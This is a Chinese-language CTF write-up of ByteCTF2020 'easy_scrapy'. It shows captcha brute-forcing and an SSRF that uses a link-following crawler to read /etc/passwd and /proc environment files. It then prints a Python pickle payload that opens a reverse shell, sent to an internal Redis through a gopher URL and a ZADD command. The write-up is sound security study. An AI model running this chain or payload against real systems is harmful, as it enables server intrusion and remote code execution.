ByteCTF2020-easy_scrapy复现

题目描述

hint1: Try to read the spider source code, maybe you can test it locally

hint2: How to attack distributed system and get rce on the spider node?

hint3: scrapy_redis

解题过程

      站点主页面有两个输入框,一个是爬虫目标、一个是验证码,爬取后的结果会在/result?url=页面返回。

验证码直接爆破:

1
2
3
4
5
import hashlib
for i in range(99999999):
    if hashlib.md5(str(i).encode()).hexdigest()[:6] == '6e79f7':
        print(i)
        break

Trick:验证码输过一次后抓包repeater可以避免再次爆破验证码,url中:/.都要url编码。

      先尝试能不能直接file协议读,url输入file:///etc/passwd,返回

Only support http or https!

有waf。那在vps上试试,向vps发起请求,观察请求头:

User-Agent: scrapy_redis
User-Agent: PycURL/7.43.0.6 libcurl/7.64.0 OpenSSL/1.1.1d zlib/1.2.11 libidn2/2.0.5 libpsl/0.20.2 (+libidn2/2.0.5) libssh2/1.8.0 nghttp2/1.36.0 librtmp/2.3

发起两次请求,两次请求的UA分别是上面的redispycurl, redis打了没回显,放弃。

      那就试试它的公网IP,输入http://101.200.50.18:30010,成功返回爬取的主页html内容,且/list路由的内容也一并返回了。

而主页的html内容只有

1
<li class="layui-nav-item"><a href="/list">MyUrlList</a></li>

说明scrapy会顺着链接继续爬取内容,此时能想到利用a标签结合file协议实现文件任意读。

在vps上起一个简易的http服务:

1
python -m SimpleHTTPServer Port

配合file:///etc/passwd,果然返回了文件内容。此时再分别读取/proc/self/cmdline/proc/self/environ

cmdline: 包含进程的完整命令行信息
/usr/local/bin/python /usr/local/bin/scrapy crawl byte

environ: 当前正在运行的进程的环境变量列表
HOSTNAME=72983b72e40a PYTHON_VERSION=3.8.5 PWD=/code HOME=/home/ctf ... PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin _=/usr/local/bin/scrapy

从中我们可以得到当前路径/code和爬虫名byte,结合Scrapy入门教程的scrapy项目结构:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
tutorial/
    scrapy.cfg
    tutorial/
        __init__.py
        items.py
        pipelines.py
        settings.py
        spiders/
            __init__.py
            ...

/code路由下我们可以读项目源码,使用的python库:

scarpy、scrapy_redis、pymongo

mongo不会打(wp里也没打通),搞redis,库懒得下,就在scrapy-redis直接读源码,发现一个文件picklecompat.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
  """A pickle wrapper module with protocol=-1 by default."""

try:
    import cPickle as pickle  # PY2
except ImportError:
    import pickle


def loads(s):
    return pickle.loads(s)


def dumps(obj):
    return pickle.dumps(obj, protocol=-1)

存在pickle反序列化操作,并在queue.pyBase类中将request对象存入spider对象,并进行换名操作

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
def _encode_request(self, request):
    """Encode a request object"""
    obj = request_to_dict(request, self.spider)
    return self.serializer.dumps(obj)

def _decode_request(self, encoded_request):
    """Decode an request previously encoded"""
    obj = self.serializer.loads(encoded_request)
    return request_from_dict(obj, self.spider)
...

# queue.py的换名操作
...
SpiderPriorityQueue = PriorityQueue

再经过一系列操作最后在scheduler.py将数据存入爬虫:request的有序集合中

1
2
3
4
5
6
def next_request(self):
    block_pop_timeout = self.idle_before_close
    request = self.queue.pop(block_pop_timeout)
    if request and self.stats:
        self.stats.inc_value('scheduler/dequeued/redis', spider=self.spider)
    return request

总的来说就是我们可以通过pickle反序列化配合gopher协议弹shell,redis有序集需要zadd命令

Redis Zadd 命令用于将一个或多个成员元素及其分数值加入到有序集当中。

如果某个成员已经是有序集的成员,那么更新这个成员的分数值,并通过重新插入这个成员元素,来保证该成员在正确的位置上。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import pickle
import os
from urllib.parse import quote
class exp(object):
    def __reduce__(self):
        s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system, (s,))
test = str(pickle.dumps(exp()))
poc = test.replace("\n",'\\n').replace("\"","\\\"")[2:-1]
poc ='gopher://172.20.0.7:6379/_'+quote('ZADD byte:requests 0 "')+quote(poc)+quote('"')
# print(poc)
print(quote(poc))

不知道是不是环境问题,shell弹不了(试了好几个wp的payload都弹不了)。。。暂且就这样吧。

参考

ByteCTF2020复现

ByteCTF2020-easyscrapy

ByteCTF2020

ByteCTF 2020 部分题目 官方Writeup